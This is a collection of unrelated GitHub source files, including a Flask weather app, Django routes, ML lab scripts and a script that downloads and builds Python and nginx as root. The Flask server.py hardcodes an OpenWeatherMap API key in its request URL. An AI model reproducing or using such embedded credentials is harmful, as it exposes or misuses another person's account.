self.log_level[op_group] > 0:\n self._need_log = True\n if op_code == 26:\n op_name = 'assign CB + data'\n if op_code == 27:\n op_name = 'place CB + data'\n self.log_cmd_op(op_code, op_name)\n else:\n self._need_log = False\n if op_code != 1:\n # sometimes the block is already cached\n self._write_op(op_code)\n if params is None:\n op()\n elif isinstance(params, list) or isinstance(params, tuple):\n op(*params)\n elif isinstance(params, dict):\n op(**params)\n else:\n op(params)\n\n def write_cmds(self, cmds, palette):\n self.block_name_id_mapping = {}\n self.block_id_name_mapping = []\n self.bdx_cmd_bytes = []\n self.log(f'author : {self.author}\\t[', end='')\n self._write_str(self.author)\n self.log(f']', end='')\n self.log_off = True\n for k, v in self.log_level.items():\n if v > 0:\n self.log_off = False\n break\n assert len(palette) == len(list(set(palette)))\n if palette is not None:\n self._need_log = self.log_level['cache'] > 1\n for block_name in palette:\n self.add_to_block_palette(block_name)\n\n # create look up table first\n op_name_code_mapping = {}\n op_code_name_mapping = {}\n for op_code, (op_group, op_name, op) in self.op_table.items():\n op_code_name_mapping[op_name] = op_code\n op_name_code_mapping[op_code] = op_name\n\n cmd0 = cmds[0]\n if len(cmd0) == 3:\n # op_code, op_name, params format\n for (op_code, _op_name, params) in cmds:\n op_group, op_name, op = self.op_table[op_code]\n assert _op_name == op_name, f'{_op_name} {op_name} mismatch'\n self.write_cmd(op_code, op_group, op_name, op, params)\n elif len(cmd0) == 2:\n if isinstance(cmd0[0], str):\n # op_name params format\n for (op_name, params) in cmds:\n op_code = op_code_name_mapping[op_name]\n op_group, op_name, op = self.op_table[op_code]\n self.write_cmd(op_code, op_group, op_name, op, params)\n else:\n # op_code params format\n for (op_code, params) in cmds:\n op_group, op_name, op = self.op_table[op_code]\n self.write_cmd(op_code, op_group, op_name, op, params)\n else:\n raise NotImplementedError(\"unsupport format\")\n\n self._need_log = True\n print()\n\n\nif __name__ == '__main__':\n if len(sys.argv) == 1:\n print('at least tell me what .json to encode')\n print('python3 thisfile.py rigmarole_in.json encoded.bdx log.txt')\n exit(0)\n\n in_json_name = sys.argv[1]\n out_bdx_name = 'encode_out.bdx'\n log_file_name = None\n\n if len(sys.argv) > 2:\n out_bdx_name = sys.argv[2]\n if len(sys.argv) > 3:\n log_file_name = sys.argv[3]\n\n encoder = BdxEncoder(need_sign=True,\n log_path=log_file_name,\n author='2401PT')\n encoder.log_nothing()\n encoder.log_command_block_only()\n\n with open(in_json_name, 'r') as f:\n data_to_write = json.load(f)\n\n cmds = data_to_write[\"cmds\"]\n palette = None\n author = encoder.author\n fb_token = None\n # it is ok to include palette here or just in cmds\n # if 'palette' in data_to_write.keys():\n # palette = data_to_write[\"palette\"]\n if 'author' in data_to_write.keys():\n author = data_to_write[\"author\"]\n if 'fb_token' in data_to_write.keys():\n fb_token = data_to_write['fb_token']\n bdx_bytes = encoder.encode(cmds=cmds,\n author=author,\n palette=palette,\n sign_token=fb_token)\n\n with open(out_bdx_name, 'wb') as f:\n f.write(bdx_bytes)","repo_name":"CMA2401PT/BDXWorkShop","sub_path":"canvas/encode_bdx.py","file_name":"encode_bdx.py","file_ext":"py","file_size_in_byte":20193,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"72"}
+{"seq_id":"16188741925","text":"from planetarium.views import (\n ShowThemeViewSet,\n PlanetariumDomeViewSet,\n AstronomyShowViewSet,\n ReservationViewSet,\n ShowSessionViewSet,\n TicketViewSet,\n)\nfrom rest_framework import routers\n\nrouter = routers.DefaultRouter()\nrouter.register(\"show-themes\", ShowThemeViewSet)\nrouter.register(\"planetarium-domes\", PlanetariumDomeViewSet)\nrouter.register(\"astronomy-shows\", AstronomyShowViewSet)\nrouter.register(\"reservations\", ReservationViewSet)\nrouter.register(\"show-sessions\", ShowSessionViewSet)\nrouter.register(\"tickets\", TicketViewSet)\n\nurlpatterns = router.urls\n\napp_name = \"planetarium\"\n","repo_name":"Phoenix-Erazer/Planetarium-API-Service","sub_path":"planetarium/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"5287301821","text":"import pandas as pd\nimport numpy as np \n\n\ndata = pd.read_csv(r\"D:\\upes\\2nd year\\Sem 2\\Intro to ML\\lab\\Bayes.csv\")\n\n\nX = data.iloc[:,:-1].values\nprint(X)\n\n\nY = data.iloc[: ,-1].values\nprint(Y)\n\n\nfrom sklearn import preprocessing \nle = preprocessing.LabelEncoder()\nY = le.fit_transform(Y)\nprint(Y)\n\n\nfor i in range(0 , 4):\n X[:,i] = le.fit_transform(X[:,i])\nprint(X)\n\n\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.model_selection import train_test_split\nX_train , X_test , Y_train , Y_test = train_test_split(X , Y , test_size = 0.2 , random_state = 1)\nprint(X_train)\n\n\nmodel = GaussianNB()\nY_pred = model.fit(X_train, Y_train).predict(X_test)\nprint(\"Number of mislabeled points out of a total \",X_test.shape[0], \"points: \",(Y_test != Y_pred).sum())\n\n\n\nprint(\"The X testing dataset is :\\n\",X_test)\nprint(\"The Y testing dataset is :\\n\",Y_test)\nprint(\"The predicted Values are :\\n\",Y_pred)","repo_name":"AradhyaMahant/MachineLearning","sub_path":"BayesianClassification.py","file_name":"BayesianClassification.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"39567973265","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Aug 6 09:44:10 2018\n\n@author: natasha_yang\n\n@e-mail: ityangna0402@163.com\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nimport time\nfrom conf.conf import args\n\n#Q-learning是一种记录行为值的方法\n#选择状态\nactions = [action.replace(' ', '') for action in args.get_option('dqn_01', 'ACTIONS').split(',')]\ndef choose_action(state, q_table):\n state_actions = q_table.iloc[state, :]#是index,就是第state行\n #如果非贪婪模式 或者 这个state对应的所有action的值都是0\n if (np.random.uniform() > args.get_option('dqn_01', 'EPSILON', 'float') or ((state_actions == 0).all())):\n #在动作中随便选择一个\n action_name = np.random.choice(actions)\n else:\n #选择当前state q-table中值最大的action\n action_name = state_actions.idxmax()\n return action_name\n\n#创建q-table\ndef build_q_table(n_states, actions):\n table = pd.DataFrame(\n np.zeros((n_states, len(actions))),#6*2\n columns=actions,#列是action\n )\n #print(table)\n return table\n\n#环境反馈\ndef get_env_feedback(state, action):\n if action == 'right':#向右移动\n if state == args.get_option('dqn_01', 'N_STATES', 'int') - 2:\n state_ = 'terminal'\n reward = 1\n else:\n state_ = state + 1\n reward = 0\n else:#向左移动\n reward = 0\n if state == 0:\n state_ = state#挨着墙了\n else:\n state_ = state - 1\n return state_, reward\n\n#更新环境\ndef update_env(state, episode, step_counter):\n # This is how environment be updated\n env_list = ['-']*(args.get_option('dqn_01', 'N_STATES', 'int')-1) + ['T'] # '---------T' our environment\n if state == 'terminal':\n interaction = 'Episode %s: total_steps = %s' % (episode+1, step_counter)\n print('\\r{}'.format(interaction), end='')\n time.sleep(2)\n print('\\r ', end='')\n else:\n env_list[state] = 'o'\n interaction = ''.join(env_list)\n print('\\r{}'.format(interaction), end='')#保证输出在同一行,且会清空当时的显示\n time.sleep(args.get_option('dqn_01', 'FRESH_TIME', 'float'))\n\ndef rl():\n q_table = build_q_table(args.get_option('dqn_01', 'N_STATES', 'int'), actions)#6,2\n for episode in range(args.get_option('dqn_01', 'MAX_EPISODES', 'int')):\n step_counter = 0\n state = 0\n is_terminated = False\n update_env(state, episode, step_counter)\n while not is_terminated:\n action = choose_action(state, q_table)\n state_, reward = get_env_feedback(state, action)\n q_predict = q_table.loc[state, action]#估计值\n if state_ != 'terminal':\n #做了这个action之后的奖励+和下一个状态可能要获得的奖励\n q_target = reward + args.get_option('dqn_01', 'GAMMA', 'float') * q_table.iloc[state_, :].max()#现实值\n else:\n q_target = reward\n is_terminated = True\n \n #现实和估计的差距\n q_table.loc[state, action] += args.get_option('dqn_01', 'ALPHA', 'float') * (q_target - q_predict)\n state = state_\n update_env(state, episode, step_counter+1)\n step_counter += 1\n return q_table\n\nif __name__ == '__main__':\n q_table = rl()\n print('Q-table:')\n print(q_table)\n\n#不理解环境model-free:Q-Learning+sarsa+Policy-Gradients\n#理解环境model-base:想像预判\n#基于概率:每种动作都可能选中只是P不同\n#基于价值:选择某个价值最高的动作,连续动作无能为力Policy-Gradients\n#基于概率Actor-Crictic基于价值\n#回合更新 + 单步更新(更有价值)\n\n#安装gym:pip3 install gym,全部安装:pip3 install gym[all]","repo_name":"yangnaGitHub/LearningProcess","sub_path":"module/dqn/dqn_01.py","file_name":"dqn_01.py","file_ext":"py","file_size_in_byte":3862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"36581637303","text":"from pathlib import Path\n\nimport geopandas as gpd\nimport pandas as pd\n\n\nLOCATIONS_DIR = Path('locations')\n\nlocal_authorities = gpd.read_file(LOCATIONS_DIR / 'England Counties.shp')\\\n .rename(columns={'NAME': 'County'})\n\n# Get all points, disregarding overlaps and using centroids for polygons.\npub_points = gpd.read_file(\n LOCATIONS_DIR / 'england pub_points.geojson'\n).to_crs('EPSG:27700')\n\npub_polys= gpd.read_file(\n LOCATIONS_DIR / 'england pub_polygons.geojson'\n).to_crs('EPSG:27700')\n\noverlaps = gpd.sjoin(pub_points, pub_polys, how='inner', op='within')\n\npub_points = pub_points[~pub_points.index.isin(overlaps.index)]\n\npoly_centroids = pub_polys.copy()\npoly_centroids['geometry'] = poly_centroids['geometry'].centroid\n\npoint_layer = pd.concat([pub_points, poly_centroids])\npoint_layer['name_short'] = point_layer['name']\n\nremovals = {\n 'the\\s+': '',\n '\\s+inn': '',\n '\\s+arms': '',\n '\\s+head': '',\n '\\s+hotel': '',\n '\\s+tavern': '',\n '\\s+social club': '',\n '\\s+house': '',\n 'ye\\s+olde\\s+': '',\n '\\s+bar': '',\n '\\s+tap': '',\n '\\s+pub': '',\n '\\s+vaults': '',\n '\\s+club': '',\n '&': 'and'\n }\n\nfor old, new in removals.items():\n point_layer['name_short'] = point_layer['name_short'].str.replace(old, new, regex=True)\n\npoint_layer['name_short'] = point_layer['name_short'].str.title()\n\nmerged_authorities = gpd.sjoin(point_layer, local_authorities, how='inner', op='within')\n\nname_counts = merged_authorities.groupby(['County', 'name_short'], as_index=False).size()\n# name_counts.to_csv('County Pub Name counts.csv', index=False)\n\nla_max = name_counts.groupby('County')['size'].transform('max')\n\n# We might get duplicates. Return them all!\nmax_counts = name_counts[name_counts['size'].eq(la_max)]\\\n .groupby('County', as_index=False)\\\n .agg({'size': 'first', 'name_short': ', or '.join})\n\nmax_counts.to_csv('County max counts.csv', index=False)\n\n\n# merged_authorities.to_file('all_points.shp')\n\nla_counts = local_authorities.merge(max_counts, on='LA')\nla_counts.to_file(LOCATIONS_DIR / 'England counties_counted.shp')\n","repo_name":"asongtoruin/data_analysis","sub_path":"pub names/counties.py","file_name":"counties.py","file_ext":"py","file_size_in_byte":2203,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"17197774558","text":"#!/usr/bin/python\n#coding:utf-8\nimport os \nimport sys\n \nif os.getuid() == 0:\n pass\nelse:\n print ('Not under root mode, please switch user!')\n sys.exit(1)\n\nyilai = 'yum install gcc gcc-c++ openssl openssl-devel ncurses ncurses pcre zlib zlib-devel pcre-devel libtool automake autoconf curl curl-devel libjpeg libjpeg-devel libpng libpng-devel freetype freetype-devel libxslt libxslt-devel bzip2 bzip2-devel openldap openldap-devel libffi-devel -y'\nres = os.system(yilai)\n\nurl = 'https://www.python.org/ftp/python/3.7.1/Python-3.7.1.tgz'\ncmd = 'wget ' + url\nres = os.system(cmd)\nif res != 0 :\n print ('Failed to download python source package, please inspect your network!')\n sys.exit(1)\n\n#package_version = 'Python-3.7.1'\npackage_version = url.split('/')[-1]\n\ncmd = 'tar zxvf '+ package_version\nres = os.system(cmd)\n \n#if res != 0:\n# os.system('rm ' + package_version + '.tgz')\n# print 'Please reexcute the script to install python'\n# sys.exit(1)\n \n\ncmd = 'cd ' + package_version + ' && ./configure --prefix=/usr/local/python && make && make install'\n \nres = os.system(cmd)\n \nif res != 0:\n print ('Failed to install python!')\n sys.exit(1)\n\ncmd = 'ln -s /usr/local/python/bin/pip3 /usr/bin/pip3 && ln -s /usr/local/python/bin/python3 /usr/bin/python3'\nres = os.system(cmd)\nif res != 0:\n print ('Unable to create link!')\n sys.exit(1)\nelse:\n print('Python3 install success!')\n#Nginx\n\n\nurl = 'http://nginx.org/download/nginx-1.14.2.tar.gz'\ncmd = 'wget ' + url\nres = os.system(cmd)\nif res != 0 :\n print ('Failed to download nginx source package, please inspect your network!')\n sys.exit(1)\n\nnginx_package_version = url.split('/')[-1]\n#nginx_package_version = 'nginx-1.14.2'\n\ncmd = 'tar zxvf '+ nginx_package_version\nres = os.system(cmd)\n\ncmd = 'cd ' + nginx_package_version + ' && ./configure --prefix=/usr/local/nginx && make && make install'\nres = os.system(cmd)\nif res != 0:\n print ('Failed to install nginx!')\n sys.exit(1)\nelse:\n print('install python3 and nginx success')\n\n","repo_name":"karinbaka/python3","sub_path":"test/mysqlold.py","file_name":"mysqlold.py","file_ext":"py","file_size_in_byte":1992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"34050175326","text":"#!/usr/bin/env python\nimport unittest\nimport pytest\nfrom xml.dom.minidom import parseString\n\nSAMPLE_WIKI = 'h4. Confluence Markup\\n\\n* A\\n* B\\n'\nSAMPLE_XML = \"\"\"
Confluence Markup
\n\n
\n
A
\n
B
\n
\n\"\"\"\n\n\nclass ConfluenceTests(unittest.TestCase):\n # _multiprocess_can_split_ = True\n\n def setUp(self):\n from confluence import Confluence\n self.conf = Confluence(profile=\"confluence\")\n\n # def test_getPage(self):\n # page = self.conf.getPage(page='test',space='ds')\n # print page\n\n @pytest.mark.xfail(reason=\"Response contains mismatched tag; see issue 16.\")\n def test_renderContent(self):\n result = self.conf.renderContent(page='Welcome to Confluence', space='ds')\n # tree = ElementTree.fromstring(result)\n # html = lxml.html.fromstring(result)\n\n x = parseString(result)\n e = x.getElementById('Content')\n self.assertFalse(e is None, \"Unable to find element with id=Content in: '%s'\" % result)\n e.toxml()\n\n # result = html.get_element_by_id(\"Content\").__str__()\n\n self.assertEqual(result, SAMPLE_XML, \"Got '%s' while expecting '%s'.\" % (result, SAMPLE_XML))\n\n @pytest.mark.xfail(reason='travis not configured yet')\n def test_storePageContent(self):\n self.conf.storePageContent(page='test', space='ds', content=SAMPLE_WIKI)\n result = self.conf.getPage(page='test', space='ds')['content']\n print(\":\".join(\"{0:x}\".format(ord(c)) for c in result))\n print(\":\".join(\"{0:x}\".format(ord(c)) for c in SAMPLE_XML))\n self.assertEqual(result, SAMPLE_WIKI, \"Got '%s' while expecting '%s'.\" % (result, SAMPLE_XML))\n\n\nclass Confluence5Tests(ConfluenceTests):\n\n def setUp(self):\n from confluence import Confluence\n self.conf = Confluence(profile=\"confluence-test\")\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"pycontribs/confluence","sub_path":"tests/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1887,"program_lang":"python","lang":"en","doc_type":"code","stars":137,"dataset":"github-code","pt":"72"}
+{"seq_id":"19889891407","text":"from ..training_utils.training import load_model\nfrom ..constants import PATH\nimport math\nimport os\nimport cv2\nimport logging\nfrom PIL import Image\nimport numpy as np\nimport torch\nimport torchvision\n\nlogging.basicConfig(level = logging.INFO)\n\n\ndef filter_predictions(predictions, score_threshold=0.5, nms_threshold=0.5, return_labels=False):\n boxes = predictions['boxes'][predictions['scores'] >= score_threshold]\n scores = predictions['scores'][predictions['scores'] >= score_threshold]\n labels = predictions['labels'][predictions['scores'] >= score_threshold]\n valid_idx = torchvision.ops.nms(boxes, scores, nms_threshold)\n if return_labels:\n return boxes[valid_idx], scores[valid_idx], labels[valid_idx]\n return boxes[valid_idx], scores[valid_idx]\n\n\ndef draw_bbox(img, xmin, ymin, xmax, ymax, color=(255,0,0), thickness=1, score=None):\n if score:\n try:\n THICKNESS_SCALE = 3e-3 \n FONT_SCALE = 2e-3 # Adjust for larger font size in all images\n w,h = img.shape[:2]\n img = cv2.putText(img, str(round(score,2)), (int(xmax)-1,int(ymin)-1), \n cv2.FONT_HERSHEY_SIMPLEX, fontScale=min(w, h)*FONT_SCALE, color=color, \n thickness=math.ceil(min(w, h) * THICKNESS_SCALE), lineType=cv2.LINE_AA)\n except Exception as e:\n logging.warn(e)\n logging.warn(\"No se pudo graficar el puntaje de la predicción debido a su posición. Salteando..\")\n return cv2.rectangle(img, (int(xmin), int(ymin)), (int(xmax), int(ymax)), \n color, thickness)\n\n\ndef visualize_boxes(img, boxes, scores=None, **kwargs):\n img = np.array(img)\n if scores is None:\n scores = [None]*len(boxes)\n for b,s in zip(boxes, scores):\n xmin = b[0]\n ymin = b[1]\n xmax = b[2]\n ymax = b[3]\n img = draw_bbox(img, xmin, ymin, xmax, ymax, score=s, **kwargs)\n return Image.fromarray(img)\n\n\ndef _validate_model_options(object_to_predict, object_types = ['tablas', 'cardinalidades']):\n if object_to_predict.lower() not in object_types:\n raise ValueError(f\"Opción no válida. Las opciones son: {object_types}\")\n\n\ndef get_model(object_to_predict, models_path=os.path.join(PATH, \"models\")): \n _validate_model_options(object_to_predict)\n\n if object_to_predict == \"tablas\":\n return load_model(os.path.join(models_path, f\"retinanet_tablas.pt\"))\n else:\n return torch.hub.load('ultralytics/yolov5', 'custom', \n os.path.join(models_path, \"yolo_cardinalidades.pt\"), verbose=False)\n\n\n\n\n\n\n","repo_name":"IgnacioCazcarra/TFI-Cazcarra","sub_path":"src/detection/prediction_utils.py","file_name":"prediction_utils.py","file_ext":"py","file_size_in_byte":2619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"28412314436","text":"class Solution:\n \"\"\"\n @param nums: a binary array\n @return: the maximum length of a contiguous subarray\n \"\"\"\n def findMaxLength(self, nums):\n # n - two sum using hash_table: val: ind \n count = 0 \n count_dict = {0: -1} # count: ind \n result = 0\n for i, num in enumerate(nums):\n if num == 0:\n count -= 1 \n elif num == 1:\n count += 1 \n \n if count in count_dict:\n result = max(result, i - count_dict[count])\n else:\n # keep the old ind if count already exists\n count_dict[count] = i\n \n return result\n","repo_name":"KunyiLiu/algorithm_problems","sub_path":"kunyi/data_structure/hash_table/contiguous-array.py","file_name":"contiguous-array.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"4845453091","text":"from flask import Flask, request, render_template\nimport json\nimport requests\n\napp = Flask(__name__)\n\n@app.route('/firstrequest', methods=['GET'])\ndef firstRequest():\n return('You just posted.... ')\n\n@app.route('/secondrequest', methods=['GET'])\ndef secondRequest():\n userAgent = str(request.headers['User-Agent'])\n return(render_template('start.html', userAgent = userAgent))\n\n@app.route('/fourthrequest', methods=['GET'])\ndef fourthRequest():\n return(int(\"HI\"))\n\n@app.route('/thirdrequest', methods=['GET', 'POST'])\ndef thirdRequest():\n reqData = request.form\n return('You just posted.... ' + str(reqData))\n\n@app.route('/weather', methods=['GET'])\ndef weather():\n response=requests.get('http://api.openweathermap.org/data/2.5/weather?q=Singapore&appid=7953d6c069a2f1865b1534f2e1cb6be3')\n data = response.json()\n weather = data[\"weather\"][0][\"description\"]\n weather1 = data[\"weather\"][0][\"main\"]\n return (render_template('index.html', data_to_pass = weather,data_to_pass_1 = weather1))\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"blizzara1/website","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1072,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"30688673135","text":"#희문 문자열 검사\nimport sys\n# sys.stdin = open(\"input.txt\", \"rt\")\nn = int(input())\nfor j in range(n):\n word = input().lower()\n #길이가 계속 반복되면 size = len(word)\n\n for i in range(len(word) // 2):\n if word[len(word) - i - 1] != word[i]: # s == s[::-1]\n print(f'#{j + 1} NO')\n break\n else:\n print(f'#{j + 1} YES')","repo_name":"jisuuuu/Algorithm_Study","sub_path":"Inflern/inflern_algorithm/3_no_1.py","file_name":"3_no_1.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"73664800872","text":"import numpy as np\n\ndata_nd1 = np.loadtxt(\"ND1_0.csv\", delimiter=\",\")\n\ndata_nd3 = np.loadtxt(\"ND3_0.csv\", delimiter=\",\")\n\nimport matplotlib.pyplot as plt\n\nwave = 600.\n\narg = np.argmin(np.abs(data_nd1[:,0] - wave))\n\nplt.figure()\nplt.plot(data_nd3[:,0], data_nd3[:,1]/data_nd3[arg,1], color=\"blue\")\nplt.plot(data_nd1[:,0], data_nd1[:,1]/data_nd1[arg,1], color=\"green\")\n\nplt.show()\n","repo_name":"ACCarnall/example_solar_data","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"15185363859","text":"import heapq\r\nimport sys\r\nsys.setrecursionlimit(10 ** 7)\r\n\r\nclass UnionFind():\r\n\tdef __init__(self, size):\r\n\t\tself.table = [-1 for _ in range(size)]\r\n\t\tself.count = 0\r\n\r\n#\tdef find(self, x):\r\n#\t\twhile self.table[x] >= 0:\r\n#\t\t\tx = self.table[x]\r\n#\t\treturn x\r\n\r\n\tdef find(self, x):\r\n\t\tif self.table[x] < 0:\r\n\t\t\treturn x\r\n\t\telse:\r\n\t\t\tself.table[x] = self.find(self.table[x])\r\n\t\t\treturn self.table[x]\r\n\r\n\tdef union(self, x, y):\r\n\t\ts1 = self.find(x)\r\n\t\ts2 = self.find(y)\r\n\t\tif s1 != s2:\r\n\t\t\tif self.table[s1] > self.table[s2]:\r\n\t\t\t\tself.table[s2] = s1\r\n\t\t\telif self.table[s1] < self.table[s2]:\r\n\t\t\t\tself.table[s1] = s2\r\n\t\t\telse:\r\n\t\t\t\tself.table[s1] = s2\r\n\t\t\t\tself.table[s2] -= 1\r\n\r\n\t\t\tself.count += 1\r\n\t\t\treturn True\r\n\t\treturn False\r\n\r\nn = int(input())\r\nx = []\r\ny = []\r\nfor i in range(n):\r\n\ta, b = map(int, input().split())\r\n\tx.append([i, a])\r\n\ty.append([i, b])\r\n\r\nvx = sorted(x, key=lambda x: x[1])\r\nvy = sorted(y, key=lambda x: x[1])\r\n\r\nedges = []\r\nuf = UnionFind(n)\r\n\r\nfor i in range(n - 1):\r\n\tif vx[i][1] == vx[i + 1][1]:\r\n\t\tuf.union(vx[i][0], vx[i + 1][0])\r\n\telse:\r\n\t\theapq.heappush(edges, (vx[i + 1][1] - vx[i][1], vx[i][0], vx[i + 1][0]))\r\n\r\n\tif vy[i][1] == vy[i + 1][1]:\r\n\t\tuf.union(vy[i][0], vy[i + 1][0])\r\n\telse:\r\n\t\theapq.heappush(edges, (vy[i + 1][1] - vy[i][1], vy[i][0], vy[i + 1][0]))\r\n\r\n\r\n#edges = sorted(edges, key=lambda x: x[2], reverse=True)\r\n#print(edges)\r\n\r\nans = 0\r\n\r\nwhile edges != []:\r\n\te = heapq.heappop(edges)\r\n\tif uf.union(e[1], e[2]):\r\n\t\tans += e[0]\r\n\tif uf.count == n - 1:\r\n\t\tbreak\r\n\r\nprint(ans)","repo_name":"Kawser-nerd/CLCDSA","sub_path":"Source Codes/AtCoder/arc076/B/3090305.py","file_name":"3090305.py","file_ext":"py","file_size_in_byte":1519,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"}
+{"seq_id":"957077005","text":"import fb.intent as intent\nfrom fb.modules.base import Module, response\n\nclass HelloWorldModule(Module):\n\n\tuid=\"hello\"\n\tname=\"Hello World\"\n\tdescription=\"Simple static functions for demonstration purposes.\"\n\tauthor=\"Michael Pratt (michael.pratt@bazaarvoice.com)\"\n\n\tcommands = {\n\t\t\"hello\": {\n\t\t\t\"keywords\": \"say ((hello)|(hi))\",\n\t\t\t\"function\": \"sayHello\",\n\t\t\t\"name\": \"Say Hello\",\n\t\t\t\"description\": \"Says Hello to the user\"\n\t\t}\n\t}\n\n\tlisteners = {\n\t\t\"hello\": {\n\t\t\t\"keywords\": \"((hello)|(hi)) fritbot\",\n\t\t\t\"function\": \"sayHello\",\n\t\t\t\"name\": \"Greet Fritbot\",\n\t\t\t\"description\": \"Someone said hello to the bot\"\n\t\t}\n\t}\n\n\t@response\n\tdef sayHello(self, bot, room, user, args):\n\t\treturn \"Hello, \" + user['nick']\n\nmodule = HelloWorldModule\n","repo_name":"Urthen/Fritbot_Python","sub_path":"fb/modules/hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"72"}
+{"seq_id":"10731022629","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Mar 3 11:15:54 2023\r\n\r\n@author: pv22aar\r\n\"\"\"\r\n\r\n#import modules pandas and matplot\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\n\r\n#read csv file\r\ndf = pd.read_csv(r'./data_multiple_line.csv')\r\n\r\n#Function for plotting Line plot\r\ndef linefunction():\r\n \r\n ax = df.plot(x='Country', y=['1970', '1980', '1990', '2000']) \r\n\r\n#setting labels \r\n ax.set_ylabel(\"Population Growth\")\r\n plt.savefig(\"lineplot.png\")\r\n#calling the title function for setting a title \r\n plt.title('Population Growth 1970-2000') \r\n plt.show()\r\nlinefunction() #calling the defined function for line plot \r\n\r\n#Function for plotting Bar Graph\r\ndef barfunction():\r\n \r\n#plotting population growth during the following years \r\n ax = df.plot(x='Country', y=['1970', '1980', '1990', '2000'],kind='bar')\r\n\r\n#setting labels \r\n ax.set_ylabel(\"Population Growth\")\r\n plt.savefig(\"BarChart.png\")\r\n#calling the title function for setting a title \r\n plt.title('Population Growth 1970-2000')\r\n plt.show()\r\nbarfunction() #calling the defined function for bar plot\r\n\r\n#Function for plotting Pie Chart\r\ndef piechart():\r\n \r\n#plotting pie chart for the year 1980\r\n country = df[\"Country\"]\r\n year = df[\"1980\"]\r\n#choosing colours for the pie chart\r\n colors = [\"#1f77b4\", \"#ff7f0e\", \"#2ca02c\", \"#d62728\", \"#8c564b\"]\r\n plt.pie(year, labels=country, colors=colors, autopct='%1.1f%%', startangle=140)\r\n#calling the title function for setting a title \r\n plt.title('Population Growth in 1980')\r\n plt.legend(bbox_to_anchor=(2,1))\r\n plt.savefig(\"PieChart.png\")\r\n plt.show()\r\npiechart() #calling the defined function for pie chart\r\n \r\n\r\n","repo_name":"PoojaSunilkumar/Applied-data-science","sub_path":"PopulationGrowth.py","file_name":"PopulationGrowth.py","file_ext":"py","file_size_in_byte":1712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"40091299321","text":"def calculateHandlen(hand):\n \"\"\" \n Returns the length (number of letters) in the current hand.\n \n hand: dictionary (string int)\n returns: integer\n \"\"\"\n # TO DO... <-- Remove this comment when you code this function\n len = 0\n for letter in hand.keys():\n len += hand[letter]\n\n return len \n\n\n\nprint(calculateHandlen({'b': 1, 'a': 1}))","repo_name":"bokmani/edx_MITx6001","sub_path":"problem_set_4/problem4.py","file_name":"problem4.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"5282906446","text":"from decimal import Decimal\nfrom django.conf import settings\nfrom shop.models import Product\n\nclass Cart(object):\n def __init__(self, request):\n \"\"\"\n Inicjacja koszyka na zakuoy\n :param request:\n \"\"\"\n self.session = request.session\n cart = self.session.get(settings.CART_SESSION_ID)\n if not cart:\n #zapisz pustego koszyka\n cart = self.session[settings.CART_SESSION_ID] = {}\n self.cart = cart\n\n def add(self, product, quantity=1, update_quantity=False):\n \"\"\"\n Dodanie lub zmaina ilości produktu w koszyku.\n konwersja na str dla jsona\n :param product:\n :param quantity:\n :param update_quantity:\n \"\"\"\n product_id = str(product.id)\n if product_id not in self.cart:\n self.cart[product_id] = {'quantity': 0, 'price': str(product.price)}\n\n if update_quantity:\n self.cart[product_id]['quantity'] = quantity\n else:\n self.cart[product_id]['quantity'] += quantity\n\n self.save()\n\n def save(self):\n self.session.modified = True\n\n def remove(self, product):\n \"\"\"\n usunięcie productu z koszyka\n :param product:\n \"\"\"\n product_id = str(product.id)\n if product_id in self.cart:\n del self.cart[product_id]\n self.save()\n\n def __iter__(self):\n \"\"\"\n Iteracja przez elementy w koszyku i pobieranie produktów z Bazy Danych\n :yield:item\n \"\"\"\n product_ids = self.cart.keys()\n products = Product.objects.filter(id__in=product_ids)\n cart = self.cart.copy()\n for product in products:\n cart[str(product.id)]['product'] = product\n for item in cart.values():\n item['price'] = Decimal(item['price'])\n item['total_price'] = item['price'] * item['quantity']\n yield item\n\n def __len__(self):\n \"\"\"\n suma ilości produktów w koszyku\n :return: sum\n \"\"\"\n return sum(item['quantity'] for item in self.cart.values())\n\n def get_total_price(self):\n \"\"\"\n suma ceny za wszystkie produkty w koszyku\n :return: sum\n \"\"\"\n return sum(Decimal(item['price'])*item['quantity'] for item in self.cart.values())\n\n def clear(self):\n \"\"\"\n usunięcie koszyka na zakupy z sesji\n \"\"\"\n del 